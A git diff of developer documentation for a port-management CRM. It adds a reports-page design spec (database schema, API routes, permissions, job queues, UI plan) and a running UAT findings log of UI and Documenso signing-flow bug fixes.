||||||
|
- `config.dateRange: { from?: string, to?: string, mode?: 'last_7' | 'last_30' | 'last_90' | 'custom' }` — saved templates default to relative ranges so a "Weekly snapshot" template stays fresh.
|
||||||
|
- `config.metadata: { title?: string, subtitle?: string, brandingPortId?: string }` — `brandingPortId` lets the report use another port's logo/colour on the cover (admin-only).
|
||||||
|
- `config.kindOptions` — per-kind option bag; e.g. for `website-analytics` the country filter, for `client-summary` the client-id.
|
||||||
|
- Partial unique on `(port_id, lower(name)) where archived_at is null` — no two active templates share a name per port.
|
||||||
|
|
||||||
|
### `report_runs`
|
||||||
|
|
||||||
|
Append-only audit log of every generated report.
|
||||||
|
|
||||||
|
```sql
|
||||||
|
CREATE TABLE report_runs (
|
||||||
|
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||||
|
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||||
|
-- Nullable: ad-hoc runs (no template) still get logged.
|
||||||
|
template_id text REFERENCES report_templates_shared(id) ON DELETE SET NULL,
|
||||||
|
schedule_id text REFERENCES report_schedules(id) ON DELETE SET NULL,
|
||||||
|
kind text NOT NULL,
|
||||||
|
config jsonb NOT NULL, -- snapshotted at run time so re-runs reproduce identically
|
||||||
|
output_format text NOT NULL, -- 'pdf' | 'csv' | 'png' | 'jpg'
|
||||||
|
-- Storage key of the rendered artefact. Same backend as files (s3 or filesystem).
|
||||||
|
storage_key text,
|
||||||
|
size_bytes integer,
|
||||||
|
status text NOT NULL DEFAULT 'pending', -- 'pending' | 'rendering' | 'complete' | 'failed'
|
||||||
|
error_message text,
|
||||||
|
triggered_by text NOT NULL, -- 'user' | 'schedule'
|
||||||
|
triggered_by_user_id text REFERENCES "user"(id) ON DELETE SET NULL,
|
||||||
|
-- When non-null, this run was emailed to these recipients on completion.
|
||||||
|
emailed_to jsonb, -- Array<{ name?: string, email: string }>
|
||||||
|
emailed_at timestamptz,
|
||||||
|
created_at timestamptz NOT NULL DEFAULT now(),
|
||||||
|
completed_at timestamptz
|
||||||
|
);
|
||||||
|
CREATE INDEX report_runs_port_created_idx ON report_runs(port_id, created_at DESC);
|
||||||
|
CREATE INDEX report_runs_port_user_idx ON report_runs(port_id, triggered_by_user_id);
|
||||||
|
CREATE INDEX report_runs_port_template_idx ON report_runs(port_id, template_id) WHERE template_id IS NOT NULL;
|
||||||
|
```
|
||||||
|
|
||||||
|
### `report_schedules`
|
||||||
|
|
||||||
|
```sql
|
||||||
|
CREATE TABLE report_schedules (
|
||||||
|
id text PRIMARY KEY DEFAULT gen_random_uuid()::text,
|
||||||
|
port_id text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
|
||||||
|
template_id text NOT NULL REFERENCES report_templates_shared(id) ON DELETE CASCADE,
|
||||||
|
-- 'weekly_monday_9' | 'monthly_first_9' | 'quarterly_first_9' to start; cron string optional later.
|
||||||
|
cadence text NOT NULL,
|
||||||
|
recipients jsonb NOT NULL, -- Array<{ name?: string, email: string }>
|
||||||
|
output_format text NOT NULL DEFAULT 'pdf',
|
||||||
|
enabled boolean NOT NULL DEFAULT true,
|
||||||
|
last_run_at timestamptz,
|
||||||
|
next_run_at timestamptz NOT NULL, -- pre-computed for the BullMQ scheduler
|
||||||
|
created_by text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
|
||||||
|
created_at timestamptz NOT NULL DEFAULT now(),
|
||||||
|
updated_at timestamptz NOT NULL DEFAULT now()
|
||||||
|
);
|
||||||
|
CREATE INDEX report_schedules_port_enabled_next_idx ON report_schedules(port_id, enabled, next_run_at);
|
||||||
|
```
|
||||||
|
|
||||||
|
A schedule lifecycle:
|
||||||
|
|
||||||
|
1. Created via the builder ("Schedule recurring" panel) or `/schedules` page.
|
||||||
|
2. BullMQ cron checks every 15 min for `enabled=true AND next_run_at <= now()`.
|
||||||
|
3. For each match: create a `report_runs` row (`triggered_by='schedule'`), enqueue the rendering job, then advance `next_run_at` based on cadence.
|
||||||
|
4. Rendering job completes → email job fires with the storage key.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## API surface (`/api/v1/reports/*`)
|
||||||
|
|
||||||
|
| Verb | Path | Permission | Notes |
|
||||||
|
| ------ | ------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| POST | `/api/v1/reports/generate` | `reports.export` | One-shot generate. Body: `{ kind, config, outputFormat?, deliverTo?: { recipients[] } }`. Returns `{ runId, downloadUrl }` (presigned) or fires email job when `deliverTo` set. |
|
||||||
|
| GET | `/api/v1/reports/templates` | `reports.export` | Lists templates visible to the caller (own private + team-shared). |
|
||||||
|
| POST | `/api/v1/reports/templates` | `reports.export` | Create a template (visibility defaults to `private`). |
|
||||||
|
| PATCH | `/api/v1/reports/templates/[id]` | `reports.export`\* | Update name / description / config. `*` Only the creator OR holders of `reports.admin` can edit team-shared templates. |
|
||||||
|
| DELETE | `/api/v1/reports/templates/[id]` | `reports.admin` | Soft-delete (sets `archived_at`). Frontend uses "Archive" copy. |
|
||||||
|
| POST | `/api/v1/reports/templates/[id]/duplicate` | `reports.export` | Returns a copy owned by caller, visibility=`private`. |
|
||||||
|
| GET | `/api/v1/reports/runs` | `reports.export` | Run history. Filter params: `templateId`, `userId`, `kind`, `from`, `to`. |
|
||||||
|
| POST | `/api/v1/reports/runs/[id]/re-run` | `reports.export` | Generates a fresh run with the original snapshotted config + same recipients (when triggered_by=schedule). |
|
||||||
|
| GET | `/api/v1/reports/runs/[id]/download` | `reports.export` | Presigned URL for the run artefact. |
|
||||||
|
| GET | `/api/v1/reports/schedules` | `reports.admin` | List scheduled jobs. |
|
||||||
|
| POST | `/api/v1/reports/schedules` | `reports.admin` | Create a schedule. |
|
||||||
|
| PATCH | `/api/v1/reports/schedules/[id]` | `reports.admin` | Pause / edit / change recipients. |
|
||||||
|
| DELETE | `/api/v1/reports/schedules/[id]` | `reports.admin` | Remove. |
|
||||||
|
| GET | `/api/v1/reports/availability?kind=...&...` | `reports.export` | Lightweight per-widget presence check (drives the empty-state pills in the builder; already speced in B2 audit). |
|
||||||
|
|
||||||
|
Existing `POST /api/v1/reports/generate` stays — it's the foundation. New endpoints layer on top.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Permissions
|
||||||
|
|
||||||
|
Two perms (locked decision):
|
||||||
|
|
||||||
|
- **`reports.export`** — generate + download + manage own private templates. Default ON for `super_admin`, `director`, `sales_manager`, `sales_agent`, `finance_manager`. OFF for `viewer`, `residential_partner`.
|
||||||
|
- **`reports.admin`** — manage BOTH team-shared templates AND schedules. Default ON for `super_admin` only.
|
||||||
|
|
||||||
|
Seed via `src/lib/db/seed-permissions.ts` in the same PR that adds the schema.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## BullMQ queue + cron handler
|
||||||
|
|
||||||
|
Two new queues:
|
||||||
|
|
||||||
|
- **`reports-render`** — per-run render job. Consumed by `src/jobs/processors/report-render.ts`. Steps:
|
||||||
|
1. Resolve the run's config + storage key.
|
||||||
|
2. Run kind-specific resolver (already wired for `dashboard` and `website-analytics`; new ones get a registry entry).
|
||||||
|
3. Render to `outputFormat` (PDF via existing `pdfme`+`pdf-lib` path; CSV via shared resolver-to-csv helper; PNG/JPEG via puppeteer-snapshot of each chart).
|
||||||
|
4. Upload to storage, update `report_runs` row with `storage_key`, `size_bytes`, `status='complete'`.
|
||||||
|
5. If `triggered_by='schedule'` (schedule has recipients) — enqueue `reports-email` follow-up.
|
||||||
|
|
||||||
|
- **`reports-email`** — fan-out email delivery. Consumed by `src/jobs/processors/report-email.ts`. Uses existing transactional-email infra (`sendBrandedEmail`) with the run artefact as an attachment OR a 7-day signed link when over the per-port attachment threshold.
|
||||||
|
|
||||||
|
A cron-style `reports-scheduler` BullMQ recurring job fires every 15 min:
|
||||||
|
|
||||||
|
1. `SELECT id FROM report_schedules WHERE enabled = TRUE AND next_run_at <= now() ORDER BY next_run_at`.
|
||||||
|
2. For each: create the `report_runs` row + enqueue `reports-render` + UPDATE `next_run_at` based on cadence (helpers in `src/lib/services/report-schedule.service.ts`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## UI plan
|
||||||
|
|
||||||
|
### 1. Landing — `/{portSlug}/reports`
|
||||||
|
|
||||||
|
Two-column layout:
|
||||||
|
|
||||||
|
- **Left rail**: report-kind cards (Dashboard, Website Analytics, Client Summary, Interest Summary, Berth Spec, Occupancy, …). Each card shows last-run timestamp + "Generate" CTA opening that kind's builder.
|
||||||
|
- **Right column**: tabs for "My templates" (private), "Team templates" (shared), "Recent runs" (last 10).
|
||||||
|
|
||||||
|
Filtered by `reports.export`/`reports.admin` so a `viewer` never sees the page at all.
|
||||||
|
|
||||||
|
### 2. Builder — `/{portSlug}/reports/[kind]`
|
||||||
|
|
||||||
|
Full-page two-panel layout (the locked Q2 shape):
|
||||||
|
|
||||||
|
```
|
||||||
|
┌────────────────────────────────────┬────────────────────────────────┐
|
||||||
|
│ Title + subtitle inputs │ │
|
||||||
|
│ Date range picker │ │
|
||||||
|
│ ─── Sections (grouped by domain) ──│ Live PDF preview │
|
||||||
|
│ ☑ Summary │ (re-renders on each │
|
||||||
|
│ ☐ Pipeline │ toggle, debounced 200ms)│
|
||||||
|
│ ☑ Berths │ │
|
||||||
|
│ ☑ Lead sources │ │
|
||||||
|
│ ☐ Operations │ │
|
||||||
|
│ ─── Output ─────────────────────── │ │
|
||||||
|
│ ◉ PDF │ │
|
||||||
|
│ ◯ CSV │ │
|
||||||
|
│ ◯ PNG (per chart) │ │
|
||||||
|
│ ─── Delivery ────────────────────── │ │
|
||||||
|
│ ◯ Download │ │
|
||||||
|
│ ◯ Email — recipient list │ │
|
||||||
|
│ ─── Save / Schedule ─────────────── │ │
|
||||||
|
│ [ Save as template ] [ Schedule…] │ │
|
||||||
|
└────────────────────────────────────┴────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
Per-section row shows the existing "data availability" pill from the B2 audit (`ok` / `no_data` / `needs_window` / `partial`) plus a drag-handle to reorder (locked Q9 polish).
|
||||||
|
|
||||||
|
### 3. Templates manager — `/{portSlug}/reports/templates`
|
||||||
|
|
||||||
|
Table of every visible template with columns: name · kind · visibility · last-used · created-by. Row actions: Open in builder · Rename · Duplicate · Share with team (gated on `reports.admin` for shared ones) · Archive.
|
||||||
|
|
||||||
|
### 4. Run history — `/{portSlug}/reports/runs`
|
||||||
|
|
||||||
|
Server-paginated table. Columns: when · who · template name · kind · format · status · size · re-run / re-email / download.
|
||||||
|
|
||||||
|
### 5. Schedules — `/{portSlug}/reports/schedules`
|
||||||
|
|
||||||
|
Table of active schedules. Columns: template · cadence · recipients · last run · next run · enabled toggle · edit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick-path dashboard button
|
||||||
|
|
||||||
|
The existing `<ExportDashboardPdfButton>` (`src/components/reports/export-dashboard-pdf-button.tsx`) is rewired to navigate to `/{portSlug}/reports/dashboard?range=...` instead of opening the in-dashboard dialog. The dialog logic moves into the builder page wholesale (same checklist + same preview component). One-click access preserved; the bigger surface gives reps room to breathe.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phased PR plan
|
||||||
|
|
||||||
|
| PR | Scope | Effort | Ships independently |
|
||||||
|
| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | --------------------------------------------------------------- |
|
||||||
|
| **P1: Schema + perms** | `0084_reports_page.sql` (3 tables + indexes) + seed `reports.export` / `reports.admin` perms + service skeleton (`report-template.service.ts`, `report-run.service.ts`, `report-schedule.service.ts`). No UI changes. | ~4 h | Yes (no behavioural change) |
|
||||||
|
| **P2: Templates API** | CRUD routes for `report_templates_shared` + `report_runs` (read-only at this stage). Mount under `/api/v1/reports/templates` + `/api/v1/reports/runs`. Vitest coverage. | ~4 h | Yes |
|
||||||
|
| **P3: Schedules API + cron** | `/api/v1/reports/schedules` CRUD + BullMQ `reports-scheduler` recurring job + `reports-render` + `reports-email` queues. Renderer reuses the existing PDF path. Vitest + integration tests. | ~8 h | Yes |
|
||||||
|
| **P4: Landing + builder UI** | `/{portSlug}/reports` landing + `/[kind]` builder. Migrate the existing dialog UI into the builder; delete the dialog. Dashboard button rewires to the builder. | ~10 h | Yes (templates/runs UIs still missing — they get a placeholder) |
|
||||||
|
| **P5: Templates + Runs + Schedules pages** | Three sub-route pages, table UIs, row actions, modal forms for "Schedule…". | ~8 h | Yes |
|
||||||
|
| **P6: CSV + PNG outputs** | Add output-format renderers; wire output radio in builder. | ~6 h | Yes |
|
||||||
|
| **P7: Metadata overrides + branding swap** | Title/subtitle inputs + cover-page brand picker (admin-only). | ~3 h | Yes |
|
||||||
|
|
||||||
|
Total: ~43 h spread across 7 PRs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Open follow-ups (intentionally deferred past v1)
|
||||||
|
|
||||||
|
- Excel workbook output.
|
||||||
|
- Public hosted-HTML share-link (write to `/api/public/reports/[id]` with a signed token).
|
||||||
|
- Cover-page intro paragraph + footer/sign-off note.
|
||||||
|
- Custom cron strings (today: enum cadence only — `weekly_monday_9` etc).
|
||||||
|
- Per-user template visibility ('shared with specific users' beyond port-wide team).
|
||||||
|
|
||||||
|
Capture in `docs/BACKLOG.md` after P5 ships.
|
||||||
@@ -28,7 +28,6 @@ Scanned 182 route files under `src/app/api/v1/`.
|
|||||||
| `src/app/api/v1/alerts/[id]/dismiss/route.ts` | POST | Alerts are user-scoped; port-filtered via auth context. |
|
| `src/app/api/v1/alerts/[id]/dismiss/route.ts` | POST | Alerts are user-scoped; port-filtered via auth context. |
|
||||||
| `src/app/api/v1/alerts/count/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
| `src/app/api/v1/alerts/count/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
||||||
| `src/app/api/v1/alerts/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
| `src/app/api/v1/alerts/route.ts` | GET | Alerts are user-scoped; port-filtered via auth context. |
|
||||||
| `src/app/api/v1/berth-reservations/[id]/route.ts` | PATCH | TODO: PATCH should map to reservations:edit (not currently in catalog). |
|
|
||||||
| `src/app/api/v1/currency/convert/route.ts` | POST | Currency reference data; port-scoped, no PII. |
|
| `src/app/api/v1/currency/convert/route.ts` | POST | Currency reference data; port-scoped, no PII. |
|
||||||
| `src/app/api/v1/currency/rates/refresh/route.ts` | POST | TODO: gate with admin:manage_settings — currently allow-listed. |
|
| `src/app/api/v1/currency/rates/refresh/route.ts` | POST | TODO: gate with admin:manage_settings — currently allow-listed. |
|
||||||
| `src/app/api/v1/currency/rates/route.ts` | GET | Currency reference data; port-scoped, no PII. |
|
| `src/app/api/v1/currency/rates/route.ts` | GET | Currency reference data; port-scoped, no PII. |
|
||||||
|
|||||||
667
docs/superpowers/audits/active-uat.md
Normal file
667
docs/superpowers/audits/active-uat.md
Normal file
@@ -0,0 +1,667 @@
|
|||||||
|
# Active UAT — running findings
|
||||||
|
|
||||||
|
> **THIS IS THE CURRENTLY ACTIVE AUDIT DOC.** All new UAT findings land here regardless of which session captures them. Persists across sessions until the user explicitly says "wrap this round up and start a fresh one" — at which point archive this file with a date stamp (`YYYY-MM-DD-uat.md`) and start a new `active-uat.md`.
|
||||||
|
>
|
||||||
|
> Started 2026-05-26 after the drain commit `e9509dc` cleared the prior `alpha-uat-master.md` long tail. This file is the home for findings surfaced as the user walks through the running app. Append every item as a discrete entry — even premature / aspirational ones — so nothing gets dropped.
|
||||||
|
>
|
||||||
|
> **Methodology:** user drives the live CRM at `http://localhost:3000`, surfaces issues in chat (with screenshot + React-grab anchor when applicable). Each finding lands here in the matching bucket with file:line evidence and a status tag.
|
||||||
|
>
|
||||||
|
> **Status legend:**
|
||||||
|
>
|
||||||
|
> - `OPEN` — captured, not started
|
||||||
|
> - `IN PROGRESS` — currently being worked on this session
|
||||||
|
> - `SHIPPED in <hash>` — committed; commit message has detail
|
||||||
|
> - `QUEUED` — not for this session; deliberately deferred
|
||||||
|
> - `BLOCKED` — waiting on user input / external repo / clarification
|
||||||
|
>
|
||||||
|
> **Severity** (for bugs only): `critical | high | medium | low`.
|
||||||
|
|
||||||
|
> **Locked decisions — 2026-05-26 round.** User answered 11 blocking / clarifying questions. Inlined here for cross-finding reference; individual findings still carry their own context.
|
||||||
|
>
|
||||||
|
> - **Documenso comprehensive audit:** ship as 5 discrete sub-PRs — (1) persist `documensoId` immediately after create, (2) pre-flight validation, (3) state-machine refactor with `rollbackTo()` helper, (4) recipient ↔ Documenso identity reconciliation, (5) end-to-end test coverage + audit-log richness.
|
||||||
|
> - **Pre-flight validation for upload-for-signing:** hard-blocks Submit when any recipient has a missing email or any placed field's `recipientIndex` doesn't resolve. No override path.
|
||||||
|
> - **`/documents/new` wizard refactor:** (a) delete the upload branch, (b) drop the `inapp` template pathway, (c) per-port doc-type template defaults (`documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`) with admin-only override, (d) surface flow 3 (mark externally signed) from the dropdown menu, (e) drop `/documents/new` as a route — replace with `<GenerateDocumentDialog>` opened from the dropdown.
|
||||||
|
> - **Automate Signing button:** mid-flow enable picks up from next-in-order signer; completion broadcast goes to ALL recipients (signers + approvers + CCs); single combined mode (no partial-automate); manual override buttons stay visible with "Auto-firing soon" tooltip during automation.
|
||||||
|
> - **Webhook URL auto-PATCH on tunnel restart:** env-flag-gated via `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`. Prod can't be accidentally rotated by a stale dev script.
|
||||||
|
> - **Admin Webhook Health page:** explicit "Test now" button for ports with no webhooks received. No auto-fire on first page load.
|
||||||
|
> - **Per-port `documenso_signing_order` setting:** tri-state — SEQUENTIAL / PARALLEL / Use template default (null/empty state). Replaces the binary toggle.
|
||||||
|
> - **OverviewTab inheritance editing:** writes to the interest's `desired_*` column (override pattern). Save toast surfaces a follow-up "Update yacht record too?" CTA so the rep can promote the change up if the yacht itself is wrong.
|
||||||
|
> - **Public-map flag inheritance:** applies across every dialog with a map-flip affordance — EOI generate, External EOI upload, Reservation generate + upload, Contract generate + upload. Default: ON when ANY in-bundle berth has `is_specific_interest=true`, OFF otherwise.
|
||||||
|
> - **Cancel/Delete affordance audit:** sweep EVERY remove route (per-row EOI tab kebab, EoiCancelDialog, docs hub kebab, document detail Cancel + Delete, contract/reservation tab equivalents, NewDocumentMenu if any). Each one must run the same `cancelDocument`/`deleteDocument` service flow with permission check + Documenso void when `documensoId` set + status transition + onSuccess query invalidation + toast on error.
|
||||||
|
> - **Orphan-scan admin script:** deferred / out of scope. Dev DB nuke acceptable for UAT-session debris.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bucket 1 — Quick fixes (<15 min)
|
||||||
|
|
||||||
|
### Dialog primitive default too narrow → bump platform-wide
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/ui/dialog.tsx_ (DialogContent base default).
|
||||||
|
- **Fix applied:** default bumped from `sm:max-w-xl lg:max-w-3xl` to `sm:max-w-2xl lg:max-w-4xl`. Confirm dialogs override DOWN with `sm:max-w-md`; PDF preview / signing dialogs override UP with `lg:max-w-5xl` or `lg:max-w-[min(95vw,1400px)]`.
|
||||||
|
- **Symptom:** Dialog primitive's default is `sm:max-w-lg` (512px), which is far too narrow for most content (forms, file previews, signing details). Even the earlier per-dialog `lg:max-w-4xl` bump only fixed the dialogs I explicitly migrated; everything still using the default — including FilePreviewDialog (which overrides to `max-w-4xl` but PDFs are unreadable at that width) — stays cramped on desktop.
|
||||||
|
- **Fix:** bump the Dialog primitive base to `sm:max-w-2xl lg:max-w-4xl` so every Dialog gets a sane wide-screen default. Per-dialog overrides ride on top for cases that need wider (PDF preview) or narrower (confirm dialogs).
|
||||||
|
|
||||||
|
### FilePreviewDialog cramped for PDFs
|
||||||
|
|
||||||
|
- **`IN PROGRESS`** — _src/components/files/file-preview-dialog.tsx:109_.
|
||||||
|
- **Symptom:** opening a PDF lands in a `max-w-4xl` (896px) container on a 1920px+ desktop; PDF renders in a thin column with massive empty bands on both sides. Screenshot 2026-05-26.
|
||||||
|
- **Fix applied:** bumped DialogContent to `w-[min(95vw,1400px)] sm:max-w-none lg:max-w-none h-[85vh]` so PDFs get viewport-sized rendering capped at 1400px. Reference for "correct" width is the documents-tab preview which the user confirmed reads correctly.
|
||||||
|
|
||||||
|
### CreateDocumentWizard — doc-type labels lowercased
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ + _src/lib/constants.ts_.
|
||||||
|
- **Symptom:** doc-type dropdown renders `eoi`, `nda`, `reservation agreement`, `other` — lowercase, looks unfinished. Naive `.replace(/_/g, ' ')` doesn't capitalize.
|
||||||
|
- **Fix applied:** added `DOCUMENT_TYPE_LABELS` Record alongside the enum (`EOI`, `Contract`, `NDA`, `Reservation Agreement`, `Other`). Wizard reads from the map.
|
||||||
|
|
||||||
|
### CreateDocumentWizard — "Other" hint added
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_.
|
||||||
|
- **Decision:** kept schema unchanged. Added an inline hint under the type selector when `other` is selected: "Use the Title below to describe the document — that's how it'll appear everywhere it's referenced."
|
||||||
|
|
||||||
|
### FlatFolderListing — needs padding above the list
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing.
|
||||||
|
- **Symptom:** the flat list sat flush against the subfolders UI above it — no vertical breathing room.
|
||||||
|
- **Fix applied:** wrapped FlatFolderListing's returned tree in `<div className="space-y-4">` so all three sub-sections (search/chip row, subfolders grid, documents list) get consistent vertical spacing.
|
||||||
|
|
||||||
|
### FlatFolderListing — root folder doesn't show uploaded files
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing + _src/lib/services/files.ts_ (listFiles) + _src/lib/validators/files.ts_ (already had folderId; service was ignoring it).
|
||||||
|
- **Root cause:** documents table (signature workflows) and files table (raw uploads) are separate; FlatFolderListing queried documents only.
|
||||||
|
- **Fix applied:** went with option B (parallel files query + client-side merge). `listFiles` now honours the `folderId` filter that was already accepted by the validator. FlatFolderListing runs a sibling `useQuery` against `/api/v1/files?folderId=X` and merges both sources into a unified `HubRow` list sorted by `createdAt desc`. New `renderFileRow` renders files with an "Uploaded file" type pill + "Stored" status pill, links the filename to the download URL. Existing FolderDropZone invalidation (`['files']` prefix) already covers the new query, so drag-drop AND New-document-menu uploads both refresh the list without a page reload.
|
||||||
|
|
||||||
|
### FlatFolderListing — chevron does nothing when no signers
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx:359+_.
|
||||||
|
- **React-grab anchor:** `<svg class="lucide lucide-chevron-right h-4 w-4" />` in FlatFolderListing.
|
||||||
|
- **Symptom:** every row renders a chevron button that's meant to expand signers detail. For docs with zero signers (manually uploaded, or signature docs that were cancelled/voided before recipients were added), clicking does nothing — the button toggles state but no signers panel exists to render.
|
||||||
|
- **Fix applied:** chevron button only renders when `totalSigners > 0`. Layout column kept (transparent placeholder span) so grid alignment doesn't jump.
|
||||||
|
|
||||||
|
### Interest drawer — inline client create
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_ + _src/components/clients/client-form.tsx_.
|
||||||
|
- **Symptom:** rep starts a new interest, realises the client isn't on file, has to close the drawer + navigate to Clients + create + come back. Yacht create was already inline ("Add new" button next to YachtPicker); client create wasn't.
|
||||||
|
- **Fix applied:** ClientForm gains an `onCreated(id)` callback; the create-branch mutation now returns `{ id }`. InterestForm renders an "Add new" Button next to the Client label (create-mode only — hidden on edit), opens the ClientForm Sheet, and auto-selects the newly-created client into the interest draft on success.
|
||||||
|
|
||||||
|
### InterestForm reset path dropped source='manual'
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_.
|
||||||
|
- **Symptom:** `defaultValues` set `source: 'manual'`, but the `!interest && open` reset path didn't include it. Reopening the drawer for a new interest landed on an unselected source dropdown.
|
||||||
|
- **Fix applied:** reset() block now includes `source: 'manual'` alongside the other create-mode defaults.
|
||||||
|
|
||||||
|
### UploadForSigningDialog — recipients show only one name, no email differentiator + role
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`**
|
||||||
|
- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (RECIPIENT_ROLE_META + RecipientRoleBadge helpers + placement-step sidebar render + FieldSidePanel dropdown).
|
||||||
|
- **React-grab anchor:** `<div class="space-y-1" />` in `FieldPlacementStep` in `DialogBody`.
|
||||||
|
- **Symptom:** placement-step's recipients sidebar (and the FieldSidePanel's "Assign this field to" dropdown) displayed only the recipient's NAME — no email, no role. UAT screenshot showed 4 recipients all literally named "matt 1, matt 2, matt 3, matt 4" with no way to distinguish them; reps editing real docs with duplicate names (e.g. multiple family members on a yacht purchase) hit the same problem. Worse: the failure of the "missing recipientId" error (separate finding below) is silently caused by which-email-maps-to-which-recipient confusion that the rep can't see.
|
||||||
|
- **Root cause:** the recipient rows in both surfaces were rendered as `r.name || r.email || #signingOrder` — falling back to email ONLY when name was blank. With non-blank names, email never showed. Role was tracked in state (`'SIGNER' | 'APPROVER' | 'CC'` on the Recipient interface) but never rendered.
|
||||||
|
- **Fix applied:**
|
||||||
|
1. New `RECIPIENT_ROLE_META` constant maps each role to display label + tint (Signer blue, Approver amber, CC slate). New `RecipientRoleBadge` component renders the pill.
|
||||||
|
2. Sidebar list rewritten as a two-line layout: line 1 is name + role badge, line 2 is the email (or "no email set" placeholder so the row doesn't shift). Email is also surfaced via `title` for hover-truncation tolerance.
|
||||||
|
3. FieldSidePanel dropdown SelectItem rebuilt as a stacked layout — name + role badge on top, email muted below — so reps differentiating duplicate-named recipients can pick the right one without expanding the dropdown.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- Showing only email and dropping name — rejected because the cleaner display people want is "Matthew Ciaccio · matt@gmail.com (Signer)", not pure email.
|
||||||
|
- Color-coded chip strip instead of a dropdown — rejected for the same density reason captured in the prior "Assign this field to" finding.
|
||||||
|
- **Effort:** ~30 min (helpers + two render-site rewrites + tsc).
|
||||||
|
- **Cross-refs:** pairs with the "Assign this field to" label fix (just above). Both ship the same UAT round.
|
||||||
|
- **Acceptance criteria:** placement-step sidebar shows {color-dot, name, role badge, email} per recipient; FieldSidePanel dropdown options show {#order, name, role badge, email} per option; duplicate-named recipients are visually distinguishable by email.
|
||||||
|
|
||||||
|
### Documenso upload — silent partial-state when field placement fails
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed) — comprehensive audit Phase 1 complete`**
|
||||||
|
- **Files touched (this fix):** _src/lib/services/custom-document-upload.service.ts_ (~line 400, placeFields try/catch). _src/components/documents/upload-for-signing-dialog.tsx_ (recipient UI sibling fix shipped separately).
|
||||||
|
- **Symptom:** rep uploads a PDF, places fields, hits Send. Error toast surfaces: `Documenso response missing recipientId for matt.ciaccio@gmail.com - cannot place fields`. Document appears in the CRM's signing UI AND in Documenso, recipients + roles are wired, but **all placed fields are missing**. The signing UI on the receiving end has no boxes to fill, which means a signer who receives the invite via email lands on a useless page.
|
||||||
|
- **Root cause:** in `placeFieldsFromUpload`, the placements were built via `fields.map(f => { if (!recipientId) throw ConflictError(...) ...})` BEFORE the surrounding try/catch. The synchronous throw from `map()` bubbled past the catch-and-rollback block that wraps `placeFields()`, so when the recipient lookup missed:
|
||||||
|
1. Documenso envelope: already created + distributed (`sendDoc` succeeded earlier in the flow).
|
||||||
|
2. Recipients: created with correct roles, signing URLs issued.
|
||||||
|
3. Fields: never placed (the throw fired BEFORE the placeFields call).
|
||||||
|
4. CRM document row: stuck in `'sent'` status because the rollback only fired inside the try/catch that the throw skipped over.
|
||||||
|
Result: the partial state the user described.
|
||||||
|
- **Fix applied (this session):**
|
||||||
|
1. The placements `map()` is now INSIDE the same try/catch that wraps `placeFields()`. Any throw — sync or async — triggers the rollback (Document row → cancelled, Documenso envelope → voided).
|
||||||
|
2. Pre-throw `logger.error(...)` captures diagnostic state: the missed email, every email the Documenso response DID return. Future "why didn't this match" investigations have something to grep instead of guesswork.
|
||||||
|
3. Comment block explaining the dedupe semantic (Documenso de-dupes by email at the envelope level, so duplicate emails across CRM recipient rows all map to the same Documenso recipientId — that's expected behaviour, not a bug).
|
||||||
|
- **Phase 1 audit shipped (5 sub-PRs delivered in this round):**
|
||||||
|
1. **Persist `documensoId` immediately after `documensoCreate`** (P1.1). Was set only at the late success commit, leaving orphaned envelopes when any later step failed. Now the CRM row points at the envelope from the moment Documenso returns the id; rollback paths can find and void it. Catches future failures + future-proofs orphans.
|
||||||
|
2. **Pre-flight validation hard-blocks Submit** (P1.2). UploadForSigningDialog computes a `submissionErrors` memo over recipients + fields. Submit button disabled when errors > 0. Inline amber summary lists every issue (missing email, invalid email, missing name, field assigned to non-existent recipient, no fields placed). Service layer also enforces the same checks (email regex + name presence) so direct API hits reject just as hard. No "I know there's a missing email" override.
|
||||||
|
3. **State-machine refactor with `rollbackTo()` helper** (P1.5). Replaces three independent try/catches with one sequenced try around `create → send → place` and a single catch that calls `rollbackTo(reason)`. Tracks `state.step` + `state.documensoDocId` so future inserts (metadata writes between steps, etc.) inherit the rollback automatically. Idempotent — status flip is a no-op on a second call, voidDocument treats 404 as success.
|
||||||
|
